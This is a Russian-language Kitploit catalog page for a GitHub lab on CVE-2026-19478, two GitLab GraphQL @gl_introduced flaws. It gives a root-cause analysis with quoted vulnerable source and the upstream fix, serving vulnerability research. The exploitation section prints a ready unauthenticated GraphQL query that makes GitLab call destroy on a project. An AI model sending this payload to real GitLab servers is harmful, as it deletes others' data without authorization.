Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-19478 — Предоставляет PoC-эксплойты и анализ первопричин для двух уязвимостей директивы GraphQL `@gl_introduced` в GitLab: неаутентифицированное выполнение методов и подмена пакетных документов, вместе с апстрим-патчем и живыми доказательствами. | Kitploit
Инструменты/GitHubGitHub/n0xdaemon/cve-2026-19478
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасность
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Предоставляет PoC-эксплойты и анализ первопричин для двух уязвимостей директивы GraphQL `@gl_introduced` в GitLab: неаутентифицированное выполнение методов и подмена пакетных документов, вместе с апстрим-патчем и живыми доказательствами.

Репозиторий
241 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-19478 — уязвимости фильтра версий GitLab GraphQL @gl_introduced

Лаборатория для воспроизведения двух связанных ошибок в функции фильтра версий GraphQL GitLab (директива @gl_introduced). Обе находятся в одной функциональной области, устраняются одним и тем же апстрим-патчем, и обе позволяют GraphQL-запросу достигать путей кода, которые он не объявлял:

  • Выполнение метода через fallback-поле — один-единственный неаутентифицированный непакетированный запрос может вызвать произвольный метод без аргументов (например, destroy) на модели, стоящей за любым GraphQL-типом, просто назвав несуществующее поле и пометив его @gl_introduced.
  • Подмена документа между операциями — в пакетированном (multiplex) запросе разобранный документ запроса одной операции может быть подставлен вместо документа другой, так что слот, объявивший безвредное чтение, в итоге выполняет мутацию другого слота.
Затронуто18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Исправлено18.11.11, 19.0.8, 19.1.6, 19.2.4
Цель лабораторииgitlab/gitlab-ce:19.2.2-ce.0 (последняя сборка до исправления)
Триггердиректива GraphQL @gl_introduced, отдельно или внутри пакета

Структура репозитория

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Всё в src/ — дословный апстрим-исходный код, ничего не переписано: загрузчик накладывает src/vuln или src/patched поверх src/common.


1. Корневая причина

1a. Fallback-поле → разрешение методов по умолчанию в graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback позволяет запросу ссылаться на поле, которого ещё нет в типе, не вызывая ошибку запроса — это предназначено для rolling-деплоев, когда схема старого узла ещё не содержит поле, которое уже поставляет более новый узел. Его переопределение get_field проверяет, отсутствует ли запрошенное поле и помечен ли запрос флагом contain_future_fields, и если да, то вместо исключения возвращает синтетическое поле:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Проблема: этот GraphQL::Schema::Field создаётся без метода-резолвера, без класса-резолвера, без блока. Затем применяется стандартное разрешение полей самого graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym — это имя поля в snake_case, то есть ровно та строка, которую атакующий указал в запросе. Если объект за GraphQL-типом (модель ActiveRecord) случайно имеет реальный публичный метод без аргументов с таким именем, graphql-ruby вызывает его и возвращает его результат (приведённый к типу). fallback_value: nil применяется только когда метода действительно не существует — он никак не мешает выполнению реального метода.

Итак: запросите у любого типа поле, названное в честь реального деструктивного метода — например, destroy — пометьте его @gl_introduced, чтобы оно дошло до выполнения, и метод выполнится.

1b. Подмена документа между операциями

IntroducedTracer реализует остальную часть функции фильтра версий через два trace-хука graphql-ruby — parse (один раз на операцию) и execute_query (один раз на операцию). В уязвимой сборке он сохраняет состояние для каждой операции в обычных переменных экземпляра объекта trace:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Проблема: graphql-ruby использует ОДИН экземпляр trace для всех операций в multiplexed-запросе и разбирает их все до выполнения любой из них. Поэтому в пакете из двух операций:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 несёт future-поле @gl_introduced)

После разбора сохраняется состояние только последней операции. Затем начинается выполнение:

  1. execute_query(op1) → флаг равен true, поэтому документ op1 перезаписывается на op2_doc и заново подготавливается → слот op1 выполняет операцию op2.

op1 объявил чтение; он выполняет запись из op2.

Исправление

patch-19.2.2-to-19.2.4.diff закрывает обе:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Схема эксплуатации

2a. Fallback-поле — один запрос, без авторизации, без пакетирования

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Без заголовка Authorization. Одна операция, без пакета. destroy — не настоящее поле Project; его вообще нет в схеме, — но директива заставляет FutureFieldFilter удалить его до статической валидации и взводит contain_future_fields для этапа выполнения, где get_field возвращает поле без резолвера с именем destroy, и graphql-ruby вызывает project.public_send(:destroy).

Скачать инструмент